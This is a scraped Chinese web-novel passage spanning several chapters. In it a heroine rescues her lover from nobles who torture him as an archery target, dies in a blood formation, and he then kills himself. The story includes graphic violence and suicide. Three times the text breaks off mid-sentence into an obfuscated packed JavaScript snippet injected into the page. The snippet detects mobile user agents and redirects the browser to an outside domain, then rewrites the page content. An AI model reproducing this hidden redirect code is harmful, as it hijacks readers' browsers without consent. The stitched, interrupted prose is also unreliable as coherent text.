出街的小摊贩们看看急往家里赶的各色行人,又看看山雨欲来的天色,暗叹一声生意难做,便也都匆匆收起摊子,预备回家去了。 而在翻卷狂涌的墨云之间,璃音站在归岚宽大的龙背上,风吹动着她额边的碎发和身上青玉色的裙衫,都在身后猎猎着飞扬开来。 五感被体内倾爆而出的魂力推至了极致。 赤色巨弓上的长弦亦已绷紧到了它可以承受的力量的极限。 滚滚盛怒之下凝出的魔之一箭,此刻正剧烈翻涌着红黑交错的暗芒,安安静静地在少女苍白的指间凝结。它与少女潜伏在那该死之人识海中的一缕神识遥遥感应着,将那人,以及那人周围所有凡人脆弱的脑袋,都变作了一个个精准的箭靶。 而此时,宫中的骑射场上,对此一无所知的司弓矢家的小公子崔行远,正将弓张了满弦,一面不断调整着准头,一面与几位华服公子嘻哈谈笑着,在这燕尾裁春的大好黄昏中,陪着兴致颇好的太子殿下,进行着所谓的“试弓”。 崔行远正凝神搭箭,忽然身边一位锦服公子笑嘻嘻地道:“行远,前几箭歪成那样,这一箭要再射不中,殿下可要收回赏你的玉扳指了。” 崔行远手上微卸了劲,箭头往“靶子”下面指了指,嗤道:“什么叫歪成这样,我射的好歹在靶上,你看看你,那几支射腿上的不是闹着玩?快别惦记那玉扳指了,一会要叫殿下好好罚你才是。” “还不是那‘靶子’当得差劲,腿上非要抽动那一下!”那锦服公子颇为不满地冲着不远处的“靶子”哼了一声,“不过嘛,嘿嘿,反正我骑射水平烂,这宫里谁不知道,这玉扳指我不惦记,可有别人惦记着呢!你看人家照雪射的,我看这扳指早晚要被他赢了去。” “哼,一个粉头粉面的小倌,他也配。”崔行远低声冷嗤一句,转头向身边那人没好气地道:“去去去,我□□,你站这么近,影响我准头。” 重新将弓箭搭上,冰寒的箭簇对准了视线尽头的那个“靶子”,对准了那个曾经那样高傲不可一世、抢走了全王都男子风头的男人,看着他如今半身染血,任人亵辱的卑贱模样,崔行远眼中射出怨毒而兴奋的光:“光这样射有什么意思,不若就来设个赌,谁能先射中‘靶心’,谁便留下殿下的玉扳指,如何?” 旁边一直嘻嘻哈哈的锦服公子却在这时略有迟疑:“真射死了,怕不好向武宁侯交代吧。” “那便射中‘靶眼’者,可得本宫这枚扳指。”高坐在一边观望台上的太子忽然笑着起身,解下腰间一枚蟠龙玉坠,高高举起,那如毒蛇吐信般阴寒的目光,直直地射向那个早已一动不动、鲜血淋漓的活人靶,“射中‘靶心’者,可再得本宫这块佩玉。” 太子这一番发话,彻底打消了众人心中最后那一点忌惮。 阔大的骑射场上,每个人都近乎战栗地兴奋着,参与着一场盛大的虐杀。全没注意到头顶上方,大团浓黑的乌云正渐渐向他们笼来。一支巨大的灭魂之箭,就静静悬停在他们头顶,精准地锁住了其中每一个人的魂魄。 崔行远克制着指尖兴奋的颤抖,将箭矢对准的位置一点点向上偏去,渐渐对准了慕璟明那一只正平静而淡漠地注视着他的沉黑的左眼。 他心中突地一跳,几乎是下意识便把箭尖避开了,那种蝼蚁被神祇漠然审视的感觉再一次不受控制地疯狂窜爬上他的脊背。 他暗暗咬牙,清秀的面容上呈现出混杂着妒恨和狂乱的扭曲,他缓慢而轻微地旋动臂膀,箭尖又再往右下方移动,这一次,它对准了慕璟明的心脏。 肩臂猛地用力,就在他要将弓弦拉满的那一个瞬间,崔行远忽觉眼前一花,一个鬼魅般青玉色的人影在他的眼前,不,更准确地说,是在他的眼内,好像贴着他瞳孔的内部浮现了出来。 那是个妙龄女子的身影,影子半虚半实,他只能看到一个少女窈窕纤细的轮廓,和她向着自己飞速掠近时,曼妙飞扬起来的裙摆。 他痴迷又茫然地看着她,她分明已在他的瞳孔中,分明就在他的体内,却为何还是觉得她在向自己飞快地靠近,靠近……她所靠近的,究竟是哪儿呢? 而下一息,一张睁着血眸的如玉脸庞在咫尺之间显影,少女赤红的眼中,是寒冰朔雪般的眼神,在她清丽的小脸上,点缀出一种能摄魂夺魄般冷艳的美。 少女出现得太快,意识尚在迟钝着迷蒙间,他似乎看见那个秀美的少女向自己面无表情地、冷厉而迅捷地伸出了一只手,一只纤白修长、成爪探来的手。 再然后…… 没有然后了。 啪嗒—— 弓箭自崔行远手中掉落,他瞳孔涣散着,突然大口大口地急促喘息起来,他的胸膛剧烈地起伏,周围充盈着那样丰沛鲜美的春日空气,他的喉咙却仿佛被什么无形的东西扼住了一般,什么都吸不进去,也什么都吐不出来,只能不断发出窒息般“嗬嗬”的声响。 他的挣扎不过维持了须臾,下一息,他的胸膛便不再起伏,他不再喘气,不再发出诡异的声音,他的脑袋和双臂一齐垂下,然后上身就保持着这个姿势,双膝一坠,目光凝滞地跌跪在了暮色黄昏下的骑射场上。 而自他张弓瞄准“靶心”,至他此刻失了魂般跪在那已成了血人的“靶子”之前,都不过发生在一个眨眼的刹那之间。 身边那位锦服公子早已吓得脸色苍白,他抬头飞速瞥了一眼前方被崔行远跪着的那个血肉模糊的“靶”,心脏猛地被一阵阴森的恐惧攥紧。 突然那“靶”前似有一道银光闪过,银光散去,现出一个少女模糊的身影。 极端的恐惧下,他根本分不清模糊的是那少女的身形,还是自己的视线。他只能隐约看见她向他高高举起了一把赤红的巨弓,弓弦上搭着一支巨箭,箭的颜色像极了混了墨汁的浓血,不停往外冒着森然的寒气。 他发疯一般尖叫起来,抬脚要跑,腿却早软了,少女的箭还未向他射出,便两眼一翻,扑通一声,直挺挺向前跌在地上,晕了过去。 璃音垂下赤红的眸,歪头看了会儿地上一跪一躺的两人,那双索命修罗般的血眼便又冷冷掀起,搭在她指间的那支散发着阴寒双芒的巨箭,以缓慢到几近折磨的速度,审判一般,慢慢向观望台上那个正极力压抑着颤抖的身影对了过去。 “殿下,今日可玩得尽兴了?”少女仰起霜寒的小脸,本该最是炽热的红色,映在她的眸中,却像两捧血色的冰。 就在这短短的几个片刻里面,眼前发生的一切,都远远超出了这位尊贵的太子殿下作为凡人的认知。恐惧压住了他所有的声音,但作为人间至尊的骄傲本能,还是让他用力挺直着背脊,只把细微的颤抖留在了死死捏攥着那枚玉坠的指骨之上。 “这么喜欢拿活人当靶啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后男人的声音是那样温柔,像世上最轻柔的安抚,璃音深吸一口气,终于红着眼眶,转身对上了他含笑望着她的眼。 他总是这样,明明是他在承受着痛苦,却总反过来安抚她,对她说“没事”、“没关系”、“别怕”之类的话。 “慕璟明,你是笨蛋吗,你怎么能把自己搞成这样的!” 少女恶狠狠地大步上前扯掉他腕上的阎王扣,口中凶恶地数落着,忍了一晚上的眼泪在此刻却像决了堤,大颗大颗地直往下砸。 被解了绑缚的男人也同时失去了支撑,少女及时撑过来,让他半个身子都靠在了她身上,才算是勉强站住了。 “好,我是笨蛋。”少女的鼻尖忽然被男人修长的指节刮了一下,耳边戏谑的声调响起,“阿璃却原来是个爱哭鬼。” 璃音没有理会他的取笑,在神魔战场上都不曾抖过一次的手,这时却颤得连为他拔箭都拔不好。 见自己连这点小事都为他做不好,眼泪便掉得更厉害了。 她本就是个爱哭鬼,只是从前想哭的时候,她总会找个地方躲起来,偷偷地哭,不叫人瞧见。他若见识过她在月牢的三百年里,天天抱着那棵大桂树肆无忌惮掉眼泪的样子,就不会这么惊讶了。 慕璟明看着少女握着箭尾抖个不停的手,轻轻笑了声,抬手轻轻覆上她微凉的手背,将她比他略小的手整个裹住,稳稳抓住那些箭,一个用力,便全都拔了出来。 璃音立刻取出东海冰晶,以灵力催动,低头默默为他镇痛止血。 待那些血洞不再往外渗血,她才抬起那双被水浸湿了的清眸,对上男人一直温柔注视着她的眼睛,轻声问他:“刚才,为什么叫住我,不让我杀了他们?” 114. 第113章 破血灵 方才崔行远欲要将箭射出之时,墨云之间,苍穹之上,璃音亦只消射出她手中那一支灭魂魔箭,便可顷刻间叫这骑射场上所有欺负过小七的人神魂俱灭,魄散魂消。 啊,她多么想就这样将那些人一箭爆头,看他们变作永生永世魂魄残碎的野鬼孤魂,看他们被阴鬼争食,被魔器吞噬,受尽折磨,魂身不存。那样,他们就会安安静静、永永远远地消失在这天地之间了。 多么完美的方案。 多么酣畅淋漓的一场报复和发泄。 可在最后一刻,她拉满了弦,却没有动,而只是用附在崔行远体内的那一缕神识,轻轻捏了捏他魂魄的咽喉,给了他一次警告,顺手送了他半世的痴呆。 但她终究是饶了他一命,也饶过了他的来世。 说要护着小七,却连为他狠狠出一口恶气都做不到,璃音垂下眼,只觉自己真是个没用又失格透顶的恋人。 “因为阿璃是这世上心肠最软的好姑娘。” 半边身子被慕璟明用一只胳膊轻轻拥入了怀里,他本就半靠在她身上,如今,两人便紧紧地互相依靠在了一起。 “你为我将他们杀得狠了,日后想起来,心里会难过的。”男人拥着她,闻她好闻的发香,已近脱力的嗓音在她耳边发出满足的轻叹,“你来了,就够了。” 何止是够了,当熟悉的响铃之声响起,看到她纤细的身影那样坚定地为他奔赴而来,护在自己身前,此生能做一回她心尖上的第一人,得她如此相待一场,他只觉失血都失得那样畅快。 便是死在这一刻也值了。 璃音紧紧将男人抱住,在他怀里闷声闷气地道:“那是你情报有误,我坏着呢,我刚才对那些人想做什么,说出来吓死你。” “你若真的想杀,便不会饶过前面那两个,也不会被我叫住了。”男人的轻笑洒在少女耳边,嘴上将怀中的纸老虎无情点破,手上却也同时轻轻拍了下她的背,轻柔地将她安抚着,“当个好姑娘也没关系的,不丢脸。” 说的好像她的人生理想是当什么毁天灭地的大恶魔似的!璃音闷头在慕璟明怀里不满地轻轻哼了一声,以示自己微弱的抗议。 刚才心里冒出来的那一点自我厌弃,却就在这他几句话和一个轻柔的抚慰中,轻飘飘消解在那一声轻哼里了。 多少次了,在她为难的时候,在她想要逃避的时候,在她说一些违心的话、做一些违心的事的时候,猛然间就被他强势而温柔地拽回来,逼迫着去直面自己的内心。 而她那些深埋在心底的小小心思,总是自己都还没能察觉,就先被他看穿了。 他在旁人的眼中是一柄锋利无匹的剑,可在她的心中,他却是她的抱枕,是她最柔软的依赖。 她没有之前那么害怕一些东西了。 因为在她快要坠落的任何时候,这个枕头都一定会在她身下,轻柔地将她接住。 两人在翻涌的墨色云层之下忘情地拥抱着,倏地一支利箭破空,直射璃音后背,嗖然而来。 慕璟明沉黑的眸子轻轻向着观望台撩起,瞳孔微缩的一刹那间,如有一道冰蓝色的闪电在他身后无声炸开,太子甚至未能瞧清那究竟是个什么东西,只觉眼前场景倏然一阵颠倒,反应过来时,原来是自己的头已经滚落在了不知谁的脚边。 在意识尚存的最后一个时刻,太子瞳孔中所映刻下的景象,是青衣少女背后几乎是瞬间耸立起的一面寒冰凝成的透明盾墙,有巨大的青龙清哮着自云间飞掠而下,庞大的龙身如云一般轻轻游旋在紧紧相拥的二人身边,将他们温柔地轻裹围绕。 而那冰蓝色的闪电亦没有就此停止,它在骑射场中平静而冷虐地极光般游走,那冷光闪得太快,场中一个个锦衣华服的小公子们惊呼还未来得及出口,胸口便已被穿出一个巨大的、能直接被早春冷风穿透而过的血洞。 包括早已跪在地上,痴呆了的崔行远。 整个旷大的骑射场上再不闻一点声息,只有浓烈的血的气味在空中安静地弥漫着。 而这安静仅仅只维持了一息。 在破军洞穿了崔行远的心脏,向慕璟明飞回的这一刻,璃音猛地自男人怀中抬起头来,眸中赤红同时翻起,一张有如根根血丝编织而成的血网自她体内骤然张开,如同涟漪一般向外急速扩张开去。 “带它走!”她转身一把将落日抛给归岚,将慕璟明护在了身后。 巨大的龙爪接住神弓,归岚顺着心链感应到了什么,猛然间呜咽起来。 “终会相见的。”璃音抬手摸摸归岚蹭动过来的龙首,说给归岚,也是说给身后的人听,“离别有期,但我们终会相见的。” 血网完成了它的扩张,随她话音轻柔地弯折荡漾着,渐渐化作了一个巨大的时空之阵。 “落日交给你了,记得把它和自己藏好,你和它,谁都不许出事。”她轻轻抚了抚归岚漂亮的龙角,温声叮嘱,“好归岚,去吧。” 说罢,璃音再不迟疑,双手迅速翻缠成印,周身灵力海潮般爆涌而出,如有实质的气流,归岚只觉自己的龙身被一股巨力猛地托起,他戚戚吟叫,可主人的意志不可违抗,亦不会为他而更改,他别无选择,也无能为力,只能就这样被猛力抛去了再看不清她身影的苍穹之上。 血色红芒暴涨,与此同时,在少女血网映照勾缠之下,锁绕在慕璟明周身的另一张暗红色血网,如潜藏在暗夜深处的鬼魅一般,终于在此刻渐渐地显影了出来。 血灵法阵,可锁诛世间一切的终极杀阵,一旦入网,任你是神是魔,都绝无可能逃脱。 而如今它正静静地锁在慕璟明的身上。 璃音知道,直到此时,今晚针对小七的这一场残酷猎杀,才真正地开始了。 血灵大阵显影之下,再看方才太子和那帮纨绔们的所谓试弓,简直像是一场过家家。 想来这便是云卿口中,要送给小七的那一份厚礼了吧。 果真是下了血本呢。 璃音缓缓掀眸,望向了观望台,那里,一道纤薄的身影正如提线傀儡般,僵直而缓慢地从地上爬起,站了起来。 “这么轻易就被那魔头催了眠,难怪会丢了十巫之首的位置啊……”璃音冰寒的视线定定射向那人苍白的脸上,“我说的对么,巫彭大人。” 照雪没有应声。 他胸口开着一个空荡荡的血洞,鲜血疯狂向外喷涌着,他却仿似浑然不觉,只是眼神漠然又似茫然地站在那里,缓缓地抬起了一只缠满血色丝线的右手。 那些血线的另一端,牵着的正是慕璟明身上那一张巨大的血网。 照雪神格被封印了大半,还被云卿以阴气做了遮挡,他在此处人间里的装扮、身份和容貌相比巫彭大人都有着太大的迥异,故而璃音一直没有将他认出来。 直到她今日进入了他的识海。 看照雪这半痴半呆的模样,神魂应已祭出,血灵之阵已然启动。 魂术拼到最后拼的就是个“犟”字,所以这世上最终极的魂杀之阵,便也是终极在它的犟和执着上。它锁住一万个人,便必定要杀满一万个人。如今它锁了摇光的神魂在内,那么不到它彻底将这一抹神魂诛灭,此阵便决不会罢休。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808879|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莫说凡间的慕璟明,便是神格完整的摇光在此,被血灵法阵锁住,也绝没有再活着出去的可能。 好在归岚和落日还算被她送走得及时。 云卿的这一份“厚礼”,果然是极端厚颜无耻,又精心确保过万无一失的。 但。 有件事,是他一定没有料到的。 阎王扣化作长鞭,自璃音手中如电甩出,鞭身上闪动着莹莹的青光,啪的一声,直抽在照雪面门。 凝滞的眸光一闪,照雪脸上惶惑一瞬,五官移形换位间,巨大的惊怒便笼上了他的脸。 看来是醒了。 但血灵法阵一旦开启,便再停不下了,醒了,也是无济于事。 巫彭唇角微动,似乎要说些什么,可此时的璃音什么也不想听他说,顾不得以下犯上,直接又甩出狠力一鞭,将人直接抽去了高高的九重天上。 再回身时,已换上了一个略带遗憾的笑:“看来今晚不能回家陪你了。” 破军静默悬停,神识中她给他留下的烙印滚烫,慕璟明也一起静默着。 “干嘛摆着一张臭脸,生气啦?” 少女微凉的指腹捏上他的脸颊,一连用力捏了好几下,她对他上起手来还是那么没轻没重,慕璟明一把抓住她捣乱的手,将它握入了掌心。 手被牵住,少女似乎很开心地笑了,她哄人的手段实在贫瘠,牵着他的手便轻轻晃动起来:“别生气嘛,你要很长一段时间都见不到我了。你看我都努力对你笑的,我好怕你最后记住的是我凶巴巴的样子,很多人都说过我笑起来很好看的,你就记住我现在笑得很好看的样子好不好?” 来来去去就这一招,可偏偏只要她哄,他就会好。 她什么也不必说,他也知道,她做下了某种决定,这样的笑,应该是他最后一次看到了。 独属于凡人慕璟明的阿璃,在今晚之后,再不会有了。 “璟明。”少女第一次单独唤了他的小字,清灵温腻,真正带上了小姑娘撒娇的意味,“不用吃那位神君的醋的,回去了,我也不会忘记你的。” “真的?”手被她带着晃动,心动亦来得猛烈,她把自己最美的样子留给了他,要他记住,于是他听话地认真看她含笑的小脸,心想那些人说得不错,她笑起来当真好看,他再没见过比这更好看的笑了。 “真的!”少女用力点了点头,突然想起什么,就笑得更开心了些,她凑近他的耳朵,“虽然他是神君,可只有你是我的夫君嘛。我们可是拜过堂的,对不对?” 难以抑制的心动让神识间的烙印愈发灼烫,慕璟明紧紧将少女扣入怀中:“非走不可?” “嗯。”璃音将埋在他胸前的脑袋轻轻点了点。 “这是唯一的办法?”他带着不甘心地向她确认。 璃音自他怀中抬起头来,将一双清亮的眸子认真地与他对视:“小七,这是唯一的办法。” 夜色覆没上来,星辉洒满了此处弥散着淡淡血腥气味的骑射场。 慕璟明阖了阖眼,再睁开时,身侧破军的冷辉如同呼吸般明灭闪动了起来。 “好。”他说:“你需要我怎么做。” 着迷于男人此时的冷静和果决,璃音稍稍撤出慕璟明的怀抱,周身血色阵法安静流转,她笑着指了指自己心脏的位置:“给我一剑,朝着这里。” 云卿的这份厚礼确实可以算得上是万无一失。 他为小七设下了一个必死的局。 只是。 云卿一定没料到的是。 她可以替小七去死。 115. 第114章 寂灭 暮色雾卷,星河浮霁。 漫天银辉轻洒,将破军相映得清光溶溶,万年凌厉的冷蓝寒芒第一次显出了些许清淡的温柔来。 一张巨大的暗红色血网,像蛰伏在暗夜中的一只森然鬼手,流转着森寒的血光,静静张开在静谧的夜空之下。 而巨网正中的那一个网眼,如鬼手幽暗的掌心,正向着内里那一抹总是高高在上的幽蓝神魂,以缓慢到肉眼看来近乎静滞的速度,一点一点,无声兴奋地攥拢着。 闪动的红芒如赤色的涎水,却就在要滴落去那位神君纯净魂魄上的前一瞬,另有一根赤红的血线鬼魅般窜爬而上,像悄悄攀缠上指尖的血色藤蔓,丝丝缕缕地化开,最后红芒覆盖红芒,宣示着对这一抹神魂的主权似的,将那些馋涎一滴不漏地都嫌弃地格挡了开去。 薄薄的血雾不断自璃音体内蒸腾而出,化作一缕缕暗红的丝线,顺着那张血红巨网缓慢而小心地攀溶着。 她整个人里里外外一片滚烫,肌肤被热血烧灼,把原本清丽如玉的少女身躯灼出透红的一片艳色来。 痛意在体内如沸水般翻涌,璃音闷哼一声,五指猛地收拢,扯过慕璟明外袍的衣襟,强势拽下他的身子,被迫他向自己垂首,被血眸衬得清艳的一张小脸仰起,轻轻一阖眸,便含吮上了男人倾靠下来的温软双唇。 真好亲。 小七的唇,总是又软又漂亮。 本想日日霸占着这双只有她能亲的唇,安安稳稳陪他走完这一世的,可惜终究不能如愿。 璃音轻叹着抵开齿尖缠入,气息交缠间,一团青光莹莹的幽绿神识,向着男人体内那一抹幽蓝轻轻探了过去。 感受到侵犯,男人的神魂本能地震颤起来,璃音用自己的神识一点点包裹住那团比深海更澄净的幽蓝,厮磨着稍稍安抚了一下,便抬起另一只手扣住男人的身子,有力而彻底地进入了他。 烙印灼起,神魂内撕裂般的剧痛夹杂着灭顶的欢愉袭来,慕璟明闷哼一声,牙关下意识合起,咬破了少女纠缠在他齿间的舌。 血丝腥甜的味道在口中弥漫开来。 璃音紧紧扣住男人想要撤离的后脑,更放肆地吻他。 而少女的神识比她的吻更加放肆,肆意侵犯着男人神魂的每一处,在他似痛苦似欢愉的低喘声中,在他身体最隐秘的地方疯狂汲取他的气息,同时也将自己的气息一寸寸不容拒绝地倾覆而上。 她就是要他痛,要他记得,他是如何从肉/体到神魂,都被她彻底占有的。 而慕璟明没一点挣扎,身体和神魂一起,乖顺地任她侵犯,接受着她不算温柔的占有。神识中那一抹烙印星星点点发着烫,来自灵魂最深处的战栗涌起,他蓦地睁眼,点星似的一双眸中,映着两团完全纠缠在一起的青蓝幽芒。 而就在他眸子睁开的同时,锁在他周身血网流转的红芒一滞,所有摇曳着收拢的动作顿住,似是陷入了一种雾里看花般,视线无论如何都对不准焦的迷茫错乱。 原本牢牢锁在慕璟明身上的网眼困惑又茫然地蠕张起来,一会儿在慕璟明身边踟蹰着,一会儿又去璃音周身徘徊一圈,好一阵犹疑不决,举棋难定。 便在这时,攀蛰其上的另一套血线骤亮,如一把大钳般将那血眼猛地撑开。 璃音睁开同样烁动着两团青蓝暗芒的双眸,松开男人被她折磨出靡靡血色的唇舌,深深望了他一眼,随后猛力一掌将他推出,直直地把他推出了血灵法阵之外。 这下血阵终于不再茫然,而是重新认准了目标,疯狂向着网眼中心的少女锁绕而去。 璃音激荡起全身魂力,以血灵之术凝结而成的时空法阵倏然大亮,在她周身疾速流转起来。 “小七,现在!” 随着少女一声清音高喝,高空之上北斗疾闪,星辉穿破夜空,如有实质般击打在破军的冷蓝剑身之上,复杂刻纹自剑柄渐次亮起,随之爆发出一阵耀眼的蓝白色寒芒,破军厉然凌空,发出铮然一声剑鸣,剑尖一转,便迎面指向了少女的心脏。 衣裙在灵力鼓荡起的气流里猛烈翻飞着,璃音静立在巨大森暗的血阵中心,抬眸望向法阵之外同样寂静凝望着她的慕璟明,眼中水雾漫起。 血阵与时空之阵交错重叠,隔着一道道青蓝殷红交错闪动的光芒,在破军穿心而来的那仿佛永恒的一瞬之间,他们站在春日晴夜的晚风中,安静而缠绵地对望。 流星般曳过的剑芒在天地之间急遽闪动。 下一息,破军携着万钧星辰之力雷霆而至,在慕璟明寂静的眼神中,狠狠贯穿了少女胸腔里那颗正对着他温热跳动的心脏。 庞大汹涌的剑气逼得璃音往后跌退了好几步,想站稳,终究还是无力地跌下,她撑着身子半跌在地上,偏过头,咳出一大口鲜红的血。 痛。 不是第一次经历了,可每一次都还是那么痛。 冷剑贯心,寒芒灼血,胸腔被生生劈开撕裂的剧痛,痛到连脑海中的意识都仿佛在痉挛。 胸口淡青色的衣襟上迅速晕染开一朵鲜红热烫的血色之花,待衣衫被鲜红染透,血液便开始顺着剑尖不断滴淌。 滴答——滴答—— 血珠一颗颗敲落在空旷的骑射场中的声音,在静谧长夜中显得格外清晰,清晰到每一声都像是直接敲在人的耳膜上的一般。 慕璟明在阵外静默地站着,听着,看着。 沉默仿佛世间最深长的寂灭。 然后突然,他胸膛一阵剧烈的起伏,转过脸去,自喉间呕出了一口鲜血。 各自饮饱了血的两个上古大阵在少女周身交叠着飞转,一个急速收拢,誓要将她神魂寸寸绞杀,一个震颤飞旋,争着要送她去往九百年后的遥远世界。 血灵之阵固然是锁一便要杀一,无可逃脱,绝无容情,强停是决计停不了的,但璃音使了个小小的花招,叫它一时迷眼,认错了人。只要再把时空法阵运用得当,那么骗过血灵之阵,叫它以为自己已死在阵中,神魂尽灭,便不是没有脱身的可能。 而只要她能顺利回到九百年后,再残碎的魂魄肉身,玉横也能再为她修补回来。 她和小七,就又可以一起活下去了。 血灵之阵对阵内神魂的绞杀已经开始,细细薄薄的血线如一团血色的水草,在空中疯狂地摇曳着,它们正在网眼之内搜寻着躲藏其间的神识,每搜寻到一点,那血网便仿佛瞬间被一股大力撕扯着绷紧,柔软水草般的血线立时变作一根根冰寒的血色丝刃,将那一抹可怜的神识缠着一绞,便将其绞作了一团迷朦的血雾。 意识寸寸碎裂,璃音终于痛到痉挛都再感觉不到,被绞碎的残魂落入飞速运转着的时空之阵,一点一点都被它拾起,往九百年后那个遥远的时空送了过去。 颊上被灼出的血色此刻全都褪尽了,璃音用尽身上所有的力气,趁着这最后一丝清醒,向阵外那人抬起她苍白如纸的一张脸,给了他一个轻柔的笑。 她没忘记要给他看最美的样子。 “小七……现在可以……可以来抱抱我了。” 少女说完这句,便再支撑不住,连半坐在地上也已是不能,纤薄的身子仿佛被风一吹就倒的一片纸,轻轻一晃,便向后跌了下去。 慕璟明飞快奔来,自身后稳稳地将她接在了怀里。 璃音浑身一点力气也没有了,软软地靠在慕璟明怀里,后脑搁在他胸口,就仰着头看着他笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818511|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她看到慕璟明唇瓣微动,知道他要说什么,还不等他开口,就抢在他前面对他笑道:“我不怕。” 慕璟明便不再说话,想用力将她拥住,又怕弄疼了她,最后便只是这样让她靠着,低头轻轻吻了吻她的额头,任她红热的血染了他满身。 “小七,不要难过啊,我不要你难过。”忽然颊上被少女一根苍白到近乎透明的手指戳住,她瞳孔已近涣散,却还是努力对他轻轻笑着,“我只要你好好记得我。你知道的,离别有期,但我们终会相见的。” 说着指腹就又要再往那漂亮的脸蛋里戳一戳,像要为他点上一侧梨涡似的,可平日里总是一不小心就使过了力,赧着脸问他“痛不痛”的怪力少女,这会却连这样简单的一个动作也再做不动了。 讲话时,吐字也变得极轻,极慢,像刚被风吹熄,正缓缓散尽的一缕轻烟:“你也笑一个嘛,你笑起来的样子,真的很好看,每次看到,我都……都……。” 手垂落下去。 被慕璟明在空中握住,牢牢抓入了掌心。 他拥着她静静坐在矿大的骑射场上,交错着闪动不休的赤青蓝芒尽皆散去,只有星光总是格外偏爱他,执着地想要映入他的眼中,可他的眼底,却只剩下两团仿佛永远也再照不亮的,漆黑的寂灭。 夜风还在冷冷地吹着,血的气味浓厚,早已被风吹凉了,他能感觉得到,她的身体也在他怀中渐渐凉了下去。 他缓缓抬手,五指都被她的血染得尽红,指骨寻到钉在少女心口的剑柄,缓慢而用力地握了上去。 阿璃总说喜欢他,可他其实一直以来,并不很明白什么是喜欢,什么是爱。 所以他从未对阿璃说过喜欢。 只是她在的时候,眼前的世界便总要分外鲜亮一些。 这凡尘热热闹闹,而他本只是个站在隔岸看热闹的人。但她牵起了他的手,牵他走入了这热闹,她似乎将他和这世间牵起了一条线。 于是他也开始会去试着体味别人的心绪,他有了想要的东西,想要的人,他会想要把一个姑娘娶回家,会想要把什么东西永永远远地留住。 他好像突然明白了,原来那根线的名字,就叫做—— 喜欢。 “阿璃……”他捞起她冷白的小脸,认真看了半晌,忽然有些高兴地笑了。 “喜欢你。”他轻轻对着她说。 世间繁华万千,她是他唯一的喜欢。 可少女紧紧阖上了双眼,男人迟来四年的告白,除了夜风和他,谁也没有听见。 远处忽有嘈杂的人声和脚步声传来,火把一簇簇如一个个亮黄色的星点,一点一点向近处移动着。 好吵。 慕璟明没什么表情地抬头看了一眼。 没了她牵着他的那只手,他便又一次站去了隔岸。 没有她的世界,于他而言,只是一团混沌的虚无。 握住破军的五指收紧。 他曾答应过会和她一起活下去。 如今没有了一起,他便也不算食言。 ——阿璃,你不能再陪我了,那便换九重天上的那位神君去陪你吧。 “终会相见……我记得的,我会记得。” 高空之上星辰烁动,男人闭上眼,就着将少女拥在怀中的姿势,用力地将破军刺进了自己的心脏。 待宫人禁军们提灯照把着走近,却只见骑射场上躺了一地的尸体,太子脑袋歪在脚边,其余各位贵人胸口一个碗大的血洞,却只有武宁侯府那位慕小侯爷,垂首半坐在地上,臂中似在拥着什么人,可走近一看,那怀里又有什么人,只有满身血糊的黏浆,和自那血洞之中,不停透吹而出的冷风罢了。 116. 第115章 停跳 风清露冷,秋气肃金。 今年是乡试年,到了八月,科场便照例热闹起来了。 初八这日要迎考生进场,于是在五更天时,贡院门前便轰隆隆放起了大炮,一连放了九个。 职事官们个个穿戴齐整,在公堂里摆出香案,焚香祭拜,叩请关公文昌巡场主试,又插好红黑二旗,口中喊着“恩鬼进,怨鬼进”,烧了纸钱,分请了恩怨二鬼进场,这才算是布置停妥,能迎考生进场了。 廉秀才在场外抱着考蓝,头上裹一顶平平整整的方巾,穿了身簇新的绸布衫子,红光满面,下垂眼眯眯地笑着,神采奕奕地等着点名入场,倒有点像是文曲星动,今番必要高中的模样。 年初他画了本《楚燕偷春》,却不想画一作完,那偷情的淫/妇便按着他画中的结局死了,这下踩中了个大噱头,叫这册小书在整个望州结结实实大卖了一把。 赚足了银子,又笔惩了淫/妇,实是心头诸事通畅,老秀才活到五十多岁,始觉人生大运终于轮转到了他头上。 现今坐在考场中,那卷子答起来更是笔走如飞,全无滞涩。廉秀才越写越兴奋,笔下那文章写到结语,已是写到周身万物不见,唯见手中一支笔飞墨来去。他满脸热汗,眼□□光,干枯的两条瘦腿都亢奋到在桌下不受控制地打起了颤,仿若跌入了某种无人无物、唯文思畅涌的状元之境。 待最后一笔收束,恍恍惚惚竟听得耳边锣鼓喧天的报喜声响,又仿佛看到自己的名字已是挂在那榜上头一名,高高地中了。 神思颤奋间,正做着状元美梦的廉秀才呵呵痴笑着一抬头,竟猛地瞧见一个身穿蝶黄纱裙的女子正端坐在他案头,一双水眸秋波漾漾,就眨也不眨地将他望着。 见他抬首,那黄衫女子便冲他盈盈一笑,秀口微张,吐字端雅:“廉先生,可还认得我?” 这一笑,直把廉秀才三魂七魄都笑没了一半,屁股一个哆嗦,没坐稳,整个人便望后一跌,跌了个结结实实的屁股墩。 “你……你……你不是已经……” 